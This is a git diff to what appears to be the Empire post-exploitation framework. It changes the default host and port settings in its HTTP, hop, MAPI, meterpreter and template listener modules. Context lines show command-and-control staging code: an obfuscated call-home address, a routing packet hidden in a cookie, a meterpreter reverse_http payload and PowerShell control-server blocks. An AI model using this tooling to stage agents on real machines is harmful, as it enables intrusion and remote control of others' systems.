diff --git a/lib/listeners/http.py b/lib/listeners/http.py index a0553d4..c59e665 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -50,7 +50,7 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'BindIP' : { 'Description' : 'The IP to bind to on the control server.', @@ -60,7 +60,7 @@ class Listener: 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'Launcher' : { 'Description' : 'Launcher string.', @@ -393,7 +393,7 @@ class Listener: b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" - + #Add custom headers if any if customHeaders != []: for header in customHeaders: diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 44d997c..07dab0c 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -48,7 +48,7 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'BindIP' : { 'Description' : 'The IP to bind to on the control server.', @@ -58,7 +58,7 @@ class Listener: 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'Launcher' : { 'Description' : 'Launcher string.', diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py index c0fe837..a9fecd2 100644 --- a/lib/listeners/http_foreign.py +++ b/lib/listeners/http_foreign.py @@ -38,12 +38,12 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'Launcher' : { 'Description' : 'Launcher string.', diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index f6a4767..e64f368 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -60,7 +60,7 @@ class Listener: 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'DefaultProfile' : { 'Description' : 'Default communication profile for the agent, extracted from RedirectListener automatically.', @@ -293,7 +293,7 @@ class Listener: # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) - + #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py index 24d43d1..a5684f0 100644 --- a/lib/listeners/http_mapi.py +++ b/lib/listeners/http_mapi.py @@ -46,7 +46,7 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'BindIP' : { 'Description' : 'The IP to bind to on the control server.', @@ -56,7 +56,7 @@ class Listener: 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'StagingKey' : { 'Description' : 'Staging key for initial agent negotiation.', diff --git a/lib/listeners/meterpreter.py b/lib/listeners/meterpreter.py index c41f941..8445000 100644 --- a/lib/listeners/meterpreter.py +++ b/lib/listeners/meterpreter.py @@ -31,12 +31,12 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' } } @@ -73,7 +73,7 @@ class Listener: if not language or language.lower() != 'powershell': print helpers.color('[!] listeners/http generate_launcher(): only PowerShell is supported at this time') return None - + if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener @@ -93,7 +93,7 @@ class Listener: msfPayload = 'windows/meterpreter/reverse_http' if 'https' in host: msfPayload += 's' - + if 'http' in host: parts = host.split(':') host = parts[1].strip('/') diff --git a/lib/listeners/template.py b/lib/listeners/template.py index 05360d2..af62ce5 100644 --- a/lib/listeners/template.py +++ b/lib/listeners/template.py @@ -39,7 +39,7 @@ class Listener: 'Host' : { 'Description' : 'Hostname/IP for staging.', 'Required' : True, - 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + 'Value' : "http://%s" % (helpers.lhost()) }, 'BindIP' : { 'Description' : 'The IP to bind to on the control server.', @@ -49,7 +49,7 @@ class Listener: 'Port' : { 'Description' : 'Port for the listener.', 'Required' : True, - 'Value' : 80 + 'Value' : '' }, 'Launcher' : { 'Description' : 'Launcher string.', @@ -138,7 +138,7 @@ class Listener: self.threads = {} # used to keep track of any threaded instances of this server # optional/specific for this module - + # set the default staging key to the controller db default self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) @@ -174,7 +174,7 @@ class Listener: if not language: print helpers.color('[!] listeners/template generate_launcher(): no language specified!') return None - + if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener @@ -223,18 +223,18 @@ class Listener: """ Generate just the agent communication code block needed for communications with this listener. This is so agents can easily be dynamically updated for the new listener. - + This should be implemented for the module. """ if language: if language.lower() == 'powershell': - + updateServers = """ $Script:ControlServers = @("%s"); $Script:ServerIndex = 0; """ % (listenerOptions['Host']['Value']) - + getTask = """ $script:GetTask = {